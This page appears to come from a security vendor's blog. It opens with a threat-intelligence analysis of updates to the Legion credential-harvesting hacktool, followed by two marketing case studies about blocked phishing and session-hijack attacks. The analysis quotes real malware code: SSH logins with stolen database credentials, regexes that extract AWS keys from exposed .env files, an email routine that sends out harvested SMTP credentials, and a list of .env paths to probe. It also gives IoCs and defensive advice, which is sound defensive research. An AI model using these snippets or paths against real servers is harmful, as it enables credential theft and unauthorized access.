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May 24, 2023

Updates to Legion: A Cloud Credential Harvester and SMTP Hijacker

Cado Labs (now part of Darktrace) discovered an updated version of the Legion hacktool. This new iteration has enhanced capabilities, including SSH abuse and exploiting additional AWS services like DynamoDB, CloudWatch, and AWS Owl, by harvesting credentials from misconfigured web servers.
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Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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24
May 2023

Introduction: A cloud credential harvester and SMTP Hijacker

Cado Security Labs (now part of Darktrace) discovered and reported [1] on an emerging cloud-focused hacktool, designed to harvest credentials from misconfigured web servers and leverage these credentials for email abuse. The tool was named ‘Legion’ by its developers and was distributed and marketed in various public groups and channels within the Telegram messaging service.  

In early 2023, Cado researchers encountered what is believed to be an updated version of this commodity malware, with some additional functionality of interest to cloud security professionals.

SSH abuse

In the sample [2] of Legion previously analyzed by Cado, the developers included code within a class named ‘legion’ to parse a list of exfiltrated database credentials and extract username and password pairs. The function then attempted to use these credentials in combination with a matching host value to log in to the host via SSH - assuming that these credentials were being reused across services.  

To achieve this within Python, the Paramiko library (a Python implementation of the SSHv2 protocol) was used. However, in the original sample of Legion, the import of Paramiko was commented out, making the code leveraging it redundant. In Legion’s most recent update, it appears that this functionality has been enabled.

if db_user and db_pass: 
	connected = 0 
	ssh = paramiko.SSHClient() 
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
	try: 
		ssh.connect(host, 22, db_user, db_pass, timeout=3) 
		fp = open('Results/!Vps.txt', 'a+') 
		build = str(host)+'|'+str(db_user)+'|'+str(db_pass)+'\n' 
		remover = str(build).replace('\r', '') 
		fp.write(remover + '\n\n') 
		fp.close() 
		connected += 1 
	except: 
		pass 
	finally: 
		if ssh: 
			ssh.close() 

Python snippet of Legion’s SSH connection code

Exploiting additional cloud services

Legion’s credential gathering capabilities were discussed at length in Cado’s previous blog on the topic. Essentially, the malware hunts for environment variable files in misconfigured web servers running PHP frameworks such as Laravel. Legion attempts to access these .env files by enumerating the target server with a list of hardcoded paths in which these environment variable files typically reside. If these paths are publicly accessible, due to misconfigurations, the files are saved and a series of regular expressions are run over their contents.  

From the searches performed on the environment variable files, it’s easy to determine the services the malware attempts to retrieve credentials for. In the updated version of Legion, the malware can be seen searching for credentials specific to the following services/technologies:

  • DynamoDB
  • Amazon CloudWatch
  • AWS Owl

For CloudWatch specifically, the malware searches for the environment variable CLOUDWATCH_LOG_KEY. This variable name appears in the documentation for public Laravel projects, including a project [3] for handling CloudWatch logging in Laravel. This fits with Legion’s capabilities, as the tool’s credential harvesting feature targets Laravel apps.

elif "CLOUDWATCH_LOG_KEY" in str(text): 
	if "CLOUDWATCH_LOG_KEY=" in str(text): 
		method = '/.env' 
		try: 
		   aws_key = reg("\nCLOUDWATCH_LOG_KEY=(.*?)\n", text)[0] 
		except: 
			aws_key = '' 
		try: 
			aws_sec = reg("\nCLOUDWATCH_LOG_SECRET=(.*?)\n", text)[0] 
		except: 
			aws_sec = '' 
		try: 
			asu = legion().get_aws_region(text) 
			if asu: 
				aws_reg = asu 
			else: 
				aws_reg = '' 
		except: 
			aws_reg = '' 

Parsing .env files for the value of CLOUDWATCH_LOG_KEY

elif "AWSOWL_ACCESS_KEY_ID" in str(text): 
	if "AWSOWL_ACCESS_KEY_ID=" in str(text): 
		method = '/.env' 
		try: 
		   aws_key = reg("\nAWSOWL_ACCESS_KEY_ID=(.*?)\n", text)[0] 
		except: 
			aws_key = '' 
		try: 
			aws_sec = reg("\nAWSOWL_SECRET_ACCESS_KEY=(.*?)\n", tex 
		except: 
			aws_sec = '' 
		try: 
			asu = legion().get_aws_region(text) 
			if asu: 
				aws_reg = asu 
			else: 
				aws_reg = '' 
		except: 
			aws_reg = '' 

Parsing .env files for the value of AWSOWL_ACCESS_KEY_ID and AWS_OWL_SECRET_ACCESS_KEY

Miscellaneous updates

Aside from general refactoring, the Legion developers have made some additional updates to the hacktool.

One such update is a change to the subject line of test emails sent by the malware, which now include a reference to “King Forza”. The Forza name was also used in a YouTube channel linked by Cado researchers to the operators of the Legion malware.

smtp_server = str(mailhost) 
login = str(mailuser.replace('"', ''))  # paste your login generated by Mailtrap 
password = str(mailpass.replace('"', '')) # paste your password generated by Mailtrap 
receiver_email = emailnow 
message = MIMEMultipart('alternative') 
message['Subject'] = f'King Forza SMTP | {mailhost} ' 
message['From'] = sender_email 
message['To'] = receiver_email 
text = '        ' 
html = f" <h3>King Forza smtps! - SMTP Data for you!</h3><br>{mailhost} <br><br><h5>Mailer King with from</h5><br>==================<br><i>{mailhost}:{mailport}:{mailuser}:{mailpass}:{mailfrom}:ssl::::0:</i><br>==================<br><br><h5>Mailer king Normal</h5><br>==================<br>{mailhost}:{mailport}:{mailuser}:{mailpass}::ssl::::0:<br>==================<br><br>        " 
part1 = MIMEText(text, 'plain') 
part2 = MIMEText(html, 'html') 
message.attach(part1) 
message.attach(part2) 

Snippet showing updated subject line, including Forza name

Another update included adding additional paths to enumerate for the existence of .env files. The new paths can be seen below:

/lib/.env

/lab/.env

/cronlab/.env

/cron/.env

/core/app/.env

/core/Datavase/.env (sic)

/database/.env

/config/.env

/apps/.env

/uploads/.env

/sitemaps/.env

/saas/.env

/api/.env

/psnlink/.env

/exapi/.env

/site/.env

/web/.env

/en/.env

/tools/.env

/v1/.env

/v2/.env

/administrator/.env

Conclusion

Legion is an actively developed hacktool, specifically designed to exploit vulnerable web applications in an attempt to harvest credentials. Legion focuses primarily on retrieving credentials for SMTP and SMS abuse. However, this recent update demonstrates a widening of scope, with new capabilities such as the ability to compromise SSH servers and retrieve additional AWS-specific credentials from Laravel web applications. It’s clear that the developer’s targeting of cloud services is advancing with each iteration.

Detection and prevention advice remains consistent with Cado’s previous blog on this malware family. Misconfigurations in web applications are still the primary method used by Legion to retrieve credentials. Therefore, it’s recommended that developers and administrators of web applications regularly review access to resources within the applications themselves, and seek alternatives to storing secrets in environment files.  

Indicators of compromise (IoCs)

Filename - SHA256

og.py - 6f059c2abf8517af136503ed921015c0cd8859398ece7d0174ea5bf1e06c9ada

User agents

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36

References

  1. www.darktrace.com/blog/legion-an-aws-credential-harvester-and-smtp-hijacker  
  1. https://www.virustotal.com/gui/file/fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a/detection
  1. https://github.com/pagevamp/laravel-cloudwatch-logs/tree/master

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

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June 3, 2026

Stopping Stealth Attacks with Precision: How Núclea Prevented a Breach Without Disruption

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Núclea is a Brazilian data and technology company that supports the country’s financial system by delivering digital services exclusively to banks and financial institutions. Operating in an environment where trust, availability, and data integrity are critical, the company faces a threat landscape that has evolved rapidly—particularly with the rise of AI-driven cyberattacks.

Brazil has experienced a wave of successful cyber incidents targeting financial institutions, many of them enabled by insiders or compromised credentials. The result was a noticeable shift in attacker strategy: instead of focusing on end customers, threat actors began targeting the institutions and platforms that underpin the financial ecosystem itself.

“Attacks became far more directed and contextual,” explains Guilherme, who leads incident response within Núclea’s security platform engineering team. “They weren’t noisy or obviously malicious—they were precise, patient, and designed to blend into normal operations.”

That precision was on full display in January 2026, when Núclea faced one of the most convincing phishing attacks the team had seen.

A real attack, built on trust and context

The attack began with a seemingly routine email.

It was sent from a real Brazilian government institution, using legitimate infrastructure and valid credentials that were later confirmed to have been compromised. Núclea had an established, ongoing relationship with this organization, and the email’s language, tone, and subject matter aligned perfectly with the type of communication the recipient team handled every day.

Attached to the email was a PDF document containing content that looked entirely legitimate.

The problem? A single URL embedded inside that PDF.

“The message itself was correct. The sender was real. The context was familiar. Even the document content made sense,” Guilherme explains. “There was just one small element that didn’t belong.”

That small detail was enough to initiate a full attack chain.

What the attackers were trying to do

If clicked, the URL would have downloaded a malicious payload designed to:

  • Collect information about the user and device
  • Identify where the system was located within the financial ecosystem
  • Install remote access tools to maintain control
  • Deploy an infostealer to extract sensitive data
  • Execute anti-forensic scripts to erase traces of the intrusion

In other words, it was a carefully engineered operation designed for persistence and stealth, not immediate disruption.

The attack also employed urgency—a classic social engineering technique. When the link didn’t open as expected, employees requested assistance from the security team, insisting the document was important and needed to be accessed quickly.

This is precisely the kind of scenario where traditional security tools struggle: almost everything about the interaction is legitimate.

Where Darktrace made the difference

Instead of blocking the entire message or relying on known indicators of compromise, Darktrace focused on behavioral context.

Darktrace recognized:

  • That the sending organization was normally trusted
  • That the communication pattern matched historical behavior
  • That the PDF content itself was not suspicious

But it also identified that the URL embedded within the document deviated from established behavioral patterns.

Rather than disrupting business operations, Darktrace took precise action: it rewrote the URL, preventing the malicious download while leaving the rest of the email untouched.

“When we analyzed it afterward, it became clear how dangerous the attack would have been,” says Guilherme. “But it never progressed—because Darktrace acted at exactly the right point.”

Subsequent forensic analysis confirmed the payload’s malicious intent. The attack never succeeded.

Precision over disruption

For Núclea, this incident reinforced a critical lesson: modern attacks don’t always look malicious—they hide within normal activity.

“What stands out to me is the precision,” Guilherme says. “Darktrace doesn’t rely on big, obvious signals. It’s effective in situations that fall outside the standard patterns we all know.”

Building resilience in a high trust ecosystem

For Núclea, cybersecurity is not just a defensive measure—it’s a business enabler.

Availability failures or successful breaches in the financial ecosystem can have immediate, large-scale consequences, from financial loss to reputational damage. Preventing those outcomes protects not just Núclea, but its partners and customers as well.

“Cyber resilience means keeping the business running—even under attack,” Guilherme explains. “And that requires people, processes, and technology working together.”

As AI continues to accelerate both attacks and defenses, the role of security is evolving. Precision, behavioral understanding, and intelligent automation are no longer optional—they’re essential.

“The easy days were yesterday,” Guilherme says. “The challenges ahead are bigger. We need to be prepared—internally and with partners that help us build resilience.”

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Mariana Pereira
VP, Field CISO

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June 1, 2026

Defend What You Trust: Stories from the Front Lines of Modern Cyber Defense

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Modern attacks don’t always announce themselves, follow obvious patterns, or rely on known malware. Often, they move quietly inside trusted systems, authenticated sessions, and everyday behavior.

They don’t break in. They blend in.

That’s why an AI-powered defense is essential. It turns invisible signals into actionable insights at a scale neither analysts nor traditional tools can achieve alone.

Confidence is creating risk

One of the most dangerous assumptions in cybersecurity today is that strong controls equal strong protection.

Multi-factor authentication (MFA), for example, is widely viewed as a foundational safeguard. But as the CISO for a professional sports organization explains, that confidence can be misplaced. “A lot of organizations assume that once you have MFA, those accounts are safe. That’s not true.”

In one instance, his team identified a sophisticated attack where a threat actor bypassed MFA entirely, not by breaking it, but by going around it. A user’s authenticated session was hijacked and re-used, allowing the attacker to impersonate them without triggering traditional controls.

“Darktrace picked up that a session had been re-injected by the hacker, and we were able to block it right away,” he explains.

Attackers anticipate what we miss

Even well-trained users can become entry points.

“An email bypassed our existing security tools,” shares the VP of IT at a U.S.-based risk management services provider.  “The user missed one signal and entered their credentials into a malicious site. That’s what the bad guys count on.”

The organization responded quickly, but not before damage was done. Crucially, this occurred while Darktrace was in “watch mode,” before autonomous response was fully enabled. “Darktrace would have seen that and shut it down immediately,” he notes.

Mistakes and oversights like misconfigurations, forgotten machines, and missed patches can create serious vulnerabilities.

The CIO of a utility services organization shares an instance when Darktrace detected a breach to a client’s network via their ZTNA VPN due to misconfigured MFA. “Darktrace alerted us and autonomously blocked the scanning, preventing what could have been a ransomware-type incident.”  

The most dangerous threats are already inside

The Head of Security at a global business services provider knows firsthand how blind spots can persist inside environments. His team uncovered evidence of dormant ransomware artifacts sitting unnoticed within a company’s environment ¬¬– long before modern detection was in place.

“During a routine file transfer, Darktrace flagged the suspicious activity, identified the ransomware, and immediately quarantined the server,” he recalls.  While the attack was never executed, the implication was significant: the risk existed long before it was finally detected.

Cyber threats are also successful because they take advantage of normal human behavior, exploiting moments of cognitive overload, urgency, and trust.

The Executive Director of IT and Business Applications at a pharmaceutical lab describes the time Darktrace flagged an employee logging into Microsoft 365 from Singapore, despite him being physically located in the U.S. Darktrace immediately cut off his access and within minutes revealed that the employee’s son was using a VPN to play a video game.

While the threat was benign, it demonstrated the strength of AI to use contextual information to detect threats other tools miss. The information also saved security analysts hours of investigation and minimized downtime for the employee. “That level of precision and speed isn’t just convenient, it’s game changing.”

“Unusual” behavior is the new red flag

Detecting modern threats requires an understanding of what “normal” looks like and recognizing when something subtly deviates.

One security leader  at an AI technology enterprise described a scenario in which an employee connected to a proxy service in China. The service itself was legitimate, and although traditional tools didn’t flag it, the behavior was unusual for that user specifically.

“That’s what Darktrace picked up on. The activity turned out to be benign, but without visibility into behavioral deviations, it could just as easily have been something more serious.”

AI shifts defense from reaction to anticipation

These stories point to a fundamental shift by cyber attackers, both tactically and strategically. Because traditional security tools were built to detect what’s already known, modern attacks are often:

  • Credential-based, not malware-based
  • Behavioral, not signature-based
  • Subtle, not overt

They may operate within the boundaries of what appears normal, exploiting what organizations trust, not what they block:

  • Trusted sessions
  • Legitimate services
  • Human error

This is where AI is changing the equation. Rather than relying on predefined rules or known threat signatures, AI can:

  • Establish a baseline of normal behavior
  • Detect subtle anomalies in real time
  • Act autonomously to contain potential threats

Resilience, not perfection, is the new security standard

As these frontline experiences show, the organizations that lead are those that move beyond reactive defense and embrace AI as a core part of their strategy.

It eliminates the blind spots and uncertainty, says the CISO of a professional sports organization. “If you lack visibility, you’re not managing risk, you’re assuming it. AI gives you the actionable insights needed to turn uncertainty into control.”

And it provides the speed and agility that are vital when seconds matter, says the Executive Director of IT and Business Applications. “When Darktrace alerted us at 3:00 am to a ransomware attack, it had already quarantined the affected systems, blocked the attacker’s access, and provided us with the critical details and time needed to investigate. That action likely saved us hundreds of thousands, if not millions, of dollars.”

The modern SOC has become a cornerstone of enterprise resilience, responsible for protecting data and operational continuity while enabling digital growth and innovation. For today’s security professional, that means success is no longer measured by what they keep out, but by what they protect: revenue, reputation, and trust.

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